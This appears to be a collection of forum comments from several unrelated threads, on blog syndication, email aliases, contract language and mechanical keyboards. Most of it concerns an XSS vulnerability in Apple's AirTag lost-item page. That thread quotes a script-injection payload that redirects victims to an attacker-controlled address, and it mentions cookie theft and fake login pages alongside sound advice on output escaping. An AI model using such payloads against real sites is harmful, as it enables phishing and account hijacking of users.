Self host, use services for syndication only. Make that Medium and Facebook post, but just make it a link to your website, maybe with a preview. You get self hosting without needing to bring your own audience, you get Medium etc’s promotion without needing to surrender your content.
I should disclaim that I haven’t personally proven this out, but it’s advice I’ve often seen and what I plan on doing myself.
Medium even supports mirror your posts with the canonical URL pointing to the original. This means that any discovery on medium should help your SEO. I don't mind being on medium, but I want to have a canonical own that I own and that medium-haters can use.
Personally I have a static site, and when I make a new post it automatically goes out to Mastodon and Medium as well as a couple of "RSS aggregators" (like https://diff.blog/), as well as a dedicated subreddit as my "comments section". Then depending on the content I will often publish to dev.to (which automatically imports from RSS so it is mostly deleting the <style> block that it doesn't understand and hitting publish) and maybe Hacker News or Lobste.rs (although that is basically never, I generally prefer for others to share if they like the post).
But that is my over-complicated setup. At the end of the day I think what matters is own your content. Ideally with a feed on a domain that you control then spread elsewhere as it makes sense.
This was inevitable. If you’re leaking the info that you’re using a proxy, it’ll eventually be used by people who want to.
One solution is a traditional webmail provider being willing to reuse that primary user domain for forwarding addresses. There are two that I know of doing this, Fastmail with @fastmail.com and Apple with @icloud.com. These domains probably won’t ever be blacklisted, because you’d also blacklist a ton of primary email addresses. (Aliases, which most providers have, tend to be too inconvenient and quantity limited.)
Another solution is to use different addresses at your own domain, which trades anonymity against the company you sign up with for freedom to change providers.
I think all three of these, including announced proxies like MPR, can be the best solution depending on whether you just want to be able to cut contact or you want privacy, and from whom.
Fastmail is excellent. They have subdomain addressing, which is kind of like plus addressing, but better (not all places let you sign up with plus addressing).
I've got my own domain, for example: mydomain.com. So my fastmail email address is depingus@mydomain.com. But with subdomain addressing, I can sign up for services with unique email addresses that look like:
social.hackernews@depingus.mydomain.com
Fastmail will automatically route incoming messages arriving to this email address to my "social" folder. If I start getting junk to that address I can easily blacklist it.
It wasn't easy switching out my email address EVERYWHERE. And there are places that won't even let me change it. But in the end, it was so worth it. I don't even miss Google Inbox anymore!
I did the same thing a few years back, I love it.
It has allowed me to find where my emails are being leaked.
So far not too many which is good, the biggest and worst were ledger and instagram.
I know Facebook is cancer and all but I'm still surprised they'd be leaking them as their business model relies on capturing personal data but not giving it away.
The problem with all these “nobody reads this” contests and “proofs” is that communication always and must be both parties’ job. If 1 in 100 doesn’t understand you then it’s probably them, but if it’s 99 in 100 then it’s you who screwed up. They didn’t screw up. Heck, if 10 in 100 don’t understand you, then a professional should be able to do better. Yet here these guys are, fully understanding that they sit at something like 999 in 1,000, and pulling an “it’s not me, it’s everybody else”.
I think it stems from the law validating that view. Courts don’t care if 999 in 1,000 didn’t understand you, they’ll enforce whatever was written. That makes it beneficial to not be understood, because you can basically get courts to enforce terms that you unilaterally dictate. So contracts and laws devolve into a contest of unintelligibility, limited only by ability to prove to a court that you did say the thing: slipping in surprising and unrelated clauses, misleading headings and names, different vocabulary from common English, etc. Contrast that to warning signs and to communication between teammates, which have evolved a totally different communication style, because in those cases it’s actually detrimental to be misunderstood.
This is really not how law works. Courts don't enforce whatever's written (look up "unconscionability" for one thing), and contracts are parsed as an attempt to come to a mutual agreement ("meeting of the minds"). Law has a very specialized vocabulary, and contracts are influenced by a great deal of case law, but it's not a game of tricks.
You’re right mostly. It is about reaching a meeting of the minds. And law isn’t some thing with “loopholes” and “one weird tricks” but contracts generally contain integration clauses that state that the entirety of the agreement is contained inside the language of the signed contract itself. What this means is that as long as the terms are not illegal (such as usurious interest rates or run afoul of consumer protection laws or any number of other things), typically if it’s in the contract, it’s enforced. This manifests itself in situations where someone will cross out clauses that they object to before signing and those clauses don’t have any effect given they’re stricken, or where things are added and then enforced.
This creates a little need for trust among legal peers because this sort of thing can happen if one is not careful, but in a professional environment adding in things randomly is a serious breach of trust.
All the obfuscation I described is present in EULAs, ToSs, and US law, all of which are enforced, when called upon, mostly as written. Maybe there is a higher standard in custom B2B contracts, but that really gets down to the point of it: you start seeing clear communication only when the speaker is motivated to be understood.
And I wouldn’t call it trickery, because that implies intent. I think the forces at play make no distinction between a knowing operator and somebody who just does what’s normal, what’s safe. I think plenty of companies slap an unintelligible ToS on their website not as a trick, not even thinking of it as unintelligible, but just because there’s good evidence that this particular boilerplate protects them in court.
If some random website has a ToS that said by using this service you sign over the deed to your house and add our company to your will, no court would enforce that. Pretty much anything unusual outside of the standard terms is hard to get a court to enforce in a b2c ToS setting.
A lot of time the vocabulary has equivalents people would regularly understand, what advantage is there in keeping the obtuse language? I understand old laws exist but in such cases new laws could point to the equivalency instead of continuing the undecipherable mess.
Personally I don’t believe in “plural”. If there’s more than one of something I just say it: “I went to the aquarium and saw octopus octopus octopus. I’d tell you what I saw around the anthill outside, but I’m not sure you have the time.” :)
I know this is a joke, but this is an actual thing in linguistics called reduplication. For example, hito (人) in Japanese means person, and hitobito (人人) means people, more or less. Japanese isn't the best example since they don't have "real" plurals but I think it's a fascinating phenomenon.
The mechanical keyboard community is unfortunately really toxic. In addition to second hand accounts, I have a friend who’s a newbie in it who I encouraged to talk to people to get her bearings, and there was a basically unanimous chorus of “fuck off, until you have something to offer us you’re just a waste of time”. I think it’s partially because it’s largely gamers, and partially because it’s largely about perceived superiority, the pursuit of which also motivates shitting on newbies.
It makes me think, though, that one of these manufacturers might be well served by creating an attached forum, like HN, that’s well moderated and permits discussion of other brands. People are getting into mechanical keyboards for the products and the art and then being driven away from community participation; whoever can capture those people could likely become the default home of mechanical keyboard fans, and the attached brand the default brand.
Maybe it's changed in the past five years, but I don't recall being treated disrespectfully when I was active on /r/mk and deskthority (can't speak for geekhack, and I admittedly wasn't very active on deskthority).
As what switches/layouts/keycaps/etc. folks like are highly subjective and sometimes polarizing, I would often see people espousing opinion as fact. But no one treated me rudely even when I asked dumb questions in their daily discussion/advice threads.
I agree that much of the community consists of essentially bragging to other people about your own keyboards. But I saw even braggarts showing up in newbie threads to try and help other people get into the hobby.
Edit: I will add though, I tend to lurk for a while and gather knowledge before I even ask a newbie question. And I probably fit better with the kind of boys club tech bro culture that you're implying is prevalent (although I can't say I noticed this all too much).
I think it depends on where you hang out. A lot of the DIY mechanical keyboard Discord communities are tremendously helpful and open to newcomers for instance.
On the flipside of that is perhaps the geekhack forums, with a ton of elitists that sometimes have little patience for people that are not up to speed.
(Geekhack veteran here). My impression is that all kinds of people are on Geekhack and that all keyboard topics are welcome, but some users are definitely louder than others: mostly about pushing their preferences onto newbies and (mis)lead them into buying expensive things they won't like.
The forums I find worse are /r/mechanicalkeyboards on Reddit (elitist about customs) and Deskthority (elitist about vintage, and also unmoderated)
For mech newbies, I have found various PC-hardware forums to be the most welcoming.
Yeah, my experience is the opposite of the person you’re replying to. I’ve asked a couple questions on geekhack and received terrific responses (I was confused about the swappability of my switches). And the dischord I visited was filled with pepe memes and was pretty toxic.
(Unrelated, my personal story:) As is my habit, I got real into researching MKs for a few months, went through 2 (one I liked pretty well but I really missed dedicated home/end keys, and one that had switches that were slightly too tough to push and thus I kept missing letters) before I found my dream one: Mistel MD770 with MX Browns. It’s a split that I can shift around however I like. I love it. Oh, and to finish what I was getting at, as is my habit I can now stop thinking about MKs and will soon forget most everything I learned.
It seems toxic because we all started from nothing and learned things ourselves without having to make asinine posts asking the same questions over and over. The answers you seek are out there. Newbies are great until they start talking and pollute forums with low value discussions, and increasingly it seems even newbs never want to talk with other newbs, for these reasons.
I've had the opposite experience, everyone has been super helpful and friendly. Honestly, I think it's mostly people working in technology with deep wallets with most people purchasing for them themselves. They already have a forums at https://www.reddit.com/r/MechanicalKeyboards/ and https://geekhack.org
I just bought a crappy razor keyboard specifically for gaming because I rather trash a cheaper keyboard versus my topre.
I wonder if the nascent CSS Layout API enables a proper solution to this. A quick skim of the spec seems to indicate that it could run the author’s algorithm in a single layout pass and it does reveal the browser’s chosen line break points, but it doesn’t give word by word metrics. But, maybe you could use custom elements and JS-inserted children to get word by word metrics with performance still good since there’s still only one pass.
After reading OP, I was under the impression this is something silly, like being able to enter “Please visit badsite.xyz” in the message you leave. The above makes clear that it’s a real XSS, the AirTag owner can run scripts on found.apple.com.
From that page: An attacker intercepts this request, and injects this malicious payload into the phone number field:
<script>window.location=’https://10.0.1.137:8000/indexer.html’;var a = ‘’;</script>
Really, what year is this, 2005? How is embedding unquoted user input into a web page still a thing? Most modern frameworks make it really hard to do this even on purpose...
This attack is far more serious than that example reveals. Instead of directing user's elsewhere, you could replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain.
Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
Would you really be suspicious of found.apple.com/login? Many companies have login flows through subdomains. Google redirects their main login flows through YouTube for some reason.
My guess? The Google login system got complicated when they tried to merge your YouTube and Google account for G+ back in the day. YouTube probably has some say in the authorization or permissions for YT original accounts.
> Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
IIRC every process inside the iOS has its own cookie jar and browser container, so application X cannot read iOS Safari's or application Y's cookie jar or any cache in that regard.
So, every application's web view is so-called alone on the OS.
That’s irrelevant. The AirTag opens a link in Safari, and allows you to run efficiently arbitrary JavaScript in the page that’s opened (iCloud).
Containers and cookie jars don’t help you if the malicious code is running inside the container your sensitive data lives in.
In this specific example, if the iCloud cookies are marked as JS visible, and there no content security policy preventing inline JS, then the JS injected could grab the iCloud cookie and exfiltrate it to an attacker domain.
How are engineers who introduce XSS issues on production systems "ok" in 2021?
Makes me doubt the rest of your statement too. But mainly because I'm actually a Apple user myself so I know for a fact that neither the software nor the hardware people to be "top".
I can only assume they mean "ok" in the sense of "the large fraction of less-sophisticated engineers who only want to think about the happy paths in their code."
Github's co-pilot is a poor code generator, but it's a fair example of how bad a lot of public code is. I'm not sure private code tends to be much better in many orgs.
I work in QA at one of the BIG ones on hardware/software, and you would be scared how little top backend/frontend devs care about security, other than pluging in some common solution. I'm right now detecting vulnerabilities, I'm running test cases, writing reports with clear descriptions and screenshots of the holes in the system, and yet I'm pretty sure all of that will go into the managerial sewer because they don't want to take the costs of solving it. But I'm sure if I point to the company/project I'll be kicked out of my job.
I’ve worked on contracts for data integration projects for both financial and healthcare providers. There is a shocking lack of concern about code correctness, security, privacy, etc. And code quality? Pshaw, just pump out a solution, even if it’s a nasty hack instead of a well-considered solution.
Probably not. QA can't really stop devs from shipping buggy code (depending on release pipeline/processes). Of course a top-notch security team should have audited these services and the infrastructure around them, considering it's Apple...
Yup, My experience has been usually needing to give QA a list of strings with SQL / script injection. As well as Unicode strings with characters outside the BMP tho emojis now usually cover that case.
Is putting scripts in a phone number field (or any input field) a well known way to hijack requests? I mean when someone is trying to compromise a site, is this one of the first things they try?
Surely (obviously not) at this point in time there has to be some out-of-the-box browser-engine (webkit/blink/gecko) input sanitation for widgets like "input", "textarea", etc?
I can only imagine this to be the case, so did an apple employee go out of their way to disable this feature? Or is this simply a case of the rookie developer using variable substitutions in a SQL string instead of a prepared statement and bindings? (SQL injection analogy)
----
As @rjmunro mentions nextdoor, if this vulnerability exists in this airtag application, might it actually be wide-spread across the entire iOS and mac OS code-base? Perhaps that's why Rauch heard little back from apple?
> Surely (obviously not) at this point in time there has to be some out-of-the-box browser-engine (webkit/blink/gecko) input sanitation for widgets like "input", "textarea", etc?
Client side sanitation of input fields won't save you in this case.
In fact it will never save you.
Here's a "non-technical" example of why it wouldn't help, without even having to go into the details of making manual HTTP requests: Even if you have a browser that tries to sanitize input fields so it doesn't send anything to the server that causes the server to do bad things, an attacker could just use a different browser, or a modified browser, to send whatever the hell they wanted anyways.
Client side input sanitation is not security. It's just for UX.
While what you're saying is true and what I said is not what is actually happening, I don't think you understood what I was trying to describe. And even though that's the case, I may still be wrong.
I understand that client-side validation is only a cosmetic, first-round attempt at sanitation.
My understanding (which is wrong) was that the malicious script was being injected into the html input where it was finally rendered and at the same time invoked. I was suggesting that the contents of an input (the value) should never be rendered (and as a result, activated) as any other contents outside of an input is rendered.
Even if content within an input is never rendered, it makes little difference since the attack is able to inject the script in other places outside of an input anyways.
So as others pointed out, nothing to do with inputs.
> might it actually be wide-spread across the entire iOS and mac OS code-base?
I suspect this is likely. It's generally accepted that it isn't possible to sanitize arbitrary user input before saving it into the database. There will always be someone called "<script>".
Instead you must format the data correctly when displaying it to the user. That means every place you get data from a database and process or display it, you should be using framework libraries to make sure no injection attacks can happen.
It isn't really so much about data being "taintable", but rather about the fact that not all strings are really the same "type". In this case, the field was probably meant to be "plain text", but it was inserted into HTML without any conversion. Even data that doesn't come from a user (ie: that is not "tainted") needs to be converted to the correct type.
There’s certainly not any inbuilt browser sanitation that prevents you entering XSS or other injection attacks into input fields. Thank goodness. If there was, how could you discuss examples in web forums like this? Or use a webpage to edit code?
XSS and other injections are not problems with data input, they are problems of data output.
Trying to sanitize on the input side reminds me of Cisco’s fix for a vulnerability in their routers that involved disallowing requests with a user agent containing “cURL”.
Imagine Stack Overflow, but without code snippets. Sounds more like an idea for an art project.
It would probably read like early texts on mathematics before modern notation was invented, where it's all just textual descriptions on how to solve various problems.
Adding a flag to allow people to write stackoverlow is perfectly reasonable, the default should not allow non-expert programmers to waltz into issues like this.
I'm not suggesting that it prevent you from being able to enter specific strings of characters. I think I made that clear by comparing this to a SQL injection issue. After all, how would SQL sites and forums discuss SQL without being able to store and display SQL excerpts?
I'm suggesting that surely these widgets and respective browser engines that enable them would be mature enough to not ineluctably evaluate anything that's entered.
That's not at all what's happening here. It doesn't even have anything to do with input fields, except that the field in the HTTP request that stores the information on Apple's servers was supposed to be filled from one.
This kind of attack essentially tricks Apple into including arbitrary HTML/JavaScript in the webpage that shows information when someone scans the tag. There's no reliable way a browser could even know something untoward was happening.
Ah! I was actually struggling to understand how inputs had anything to do with it. I thought the input was being rendered with some pre-populated/injected value that in this case was the script.
<input><script.../></input>
Then again, if they were able to inject something into the input, chances are they could inject it anywhere, so as you said it has nothing to do with input fields.
The input field isn’t the problem here. In fact the article even mentions that you need to hijack the request and alter the phone number. So I guess the Apple engineer that created this feature fell for the same misunderstanding that you did: user input can never be trusted, even when validated client side. You always have to do service side validation!
The problem here is not input, it’s output. Apple’s web backend is spitting out strings without escaping them to HTML, which is a real novice error at this point in the web’s evolution. Sanitising inputs in browsers would be a nightmare of never ending complication.
As this is a complicated topic one should never try to escape things "by hand", for example by some "clever" regex. You won't catch this way all the possible encodings!
> Is putting scripts in a phone number field (or any input field) a well known way to hijack requests?
100% yes. It's called an XSS vulnerability. It was no 1 in the Open Web Application Security Project (OWASP) Top Ten 2017, although now that sites don't make this mistake very often, it's fallen to number 3 in the 2021 list.
> ... wide-spread across the entire iOS and mac OS code-base
It's not in the iOS or mac OS code-base, it's in the Apple website codebase. It could well be widespread there.
I should disclaim that I haven’t personally proven this out, but it’s advice I’ve often seen and what I plan on doing myself.